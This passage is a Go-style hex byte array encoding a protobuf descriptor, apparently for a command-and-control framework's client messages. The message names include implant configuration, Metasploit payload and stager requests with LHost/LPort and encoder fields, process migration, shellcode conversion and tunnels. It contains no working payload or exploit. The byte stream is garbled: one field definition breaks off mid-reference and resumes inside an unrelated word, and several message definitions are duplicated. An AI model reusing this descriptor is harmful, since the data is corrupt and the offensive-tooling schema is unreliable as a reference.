0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2c, 0x0a, 0x11,
|
||||
0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61,
|
||||
0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
|
||||
0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f,
|
||||
0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05,
|
||||
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x22, 0x3e,
|
||||
0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a,
|
||||
0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e,
|
||||
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
|
||||
0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e,
|
||||
0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69,
|
||||
0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
|
||||
0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5,
|
||||
0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79,
|
||||
0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c,
|
||||
0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f,
|
||||
0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12,
|
||||
0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65,
|
||||
0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49,
|
||||
0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7c, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74,
|
||||
0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28,
|
||||
0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
|
||||
0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
|
||||
0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52,
|
||||
0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
|
||||
0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
|
||||
0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
|
||||
0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49,
|
||||
0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08,
|
||||
0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44,
|
||||
0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18,
|
||||
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
|
||||
0x74, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49,
|
||||
0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e,
|
||||
0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12,
|
||||
0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28,
|
||||
0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65,
|
||||
0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22,
|
||||
0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65,
|
||||
0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76,
|
||||
0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69,
|
||||
0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
|
||||
0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28,
|
||||
0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62,
|
||||
0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18,
|
||||
0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44,
|
||||
0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f,
|
||||
0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x18,
|
||||
0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61,
|
||||
0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72,
|
||||
0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08,
|
||||
0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a,
|
||||
0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61,
|
||||
0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20,
|
||||
0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65,
|
||||
0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02,
|
||||
0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74,
|
||||
0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65,
|
||||
0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64,
|
||||
0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08,
|
||||
0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65,
|
||||
0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f,
|
||||
0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61,
|
||||
0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a,
|
||||
0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07,
|
||||
0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61,
|
||||
0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65,
|
||||
0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
|
||||
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xbe, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65,
|
||||
0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08,
|
||||
0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17,
|
||||
0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
|
||||
0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20,
|
||||
0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74,
|
||||
0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72,
|
||||
0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03,
|
||||
0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28,
|
||||
0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65,
|
||||
0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62,
|
||||
0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22,
|
||||
0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52,
|
||||
0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c,
|
||||
0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75,
|
||||
0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72,
|
||||
0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41,
|
||||
0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c,
|
||||
0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xc3, 0x01, 0x0a,
|
||||
0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63,
|
||||
0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a,
|
||||
0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73,
|
||||
0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f,
|
||||
0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20,
|
||||
0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
|
||||
0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61,
|
||||
0x72, 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12,
|
||||
0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e,
|
||||
0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46,
|
||||
0x69, 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65,
|
||||
0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50,
|
||||
0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f,
|
||||
0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06,
|
||||
0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63,
|
||||
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a,
|
||||
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,
|
||||
0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7c, 0x0a, 0x0a, 0x4d, 0x69,
|
||||
0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18,
|
||||
0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f,
|
||||
0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e,
|
||||
0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
|
||||
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52,
|
||||
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
|
||||
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
|
||||
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61,
|
||||
0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54,
|
||||
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08,
|
||||
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75,
|
||||
0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
|
||||
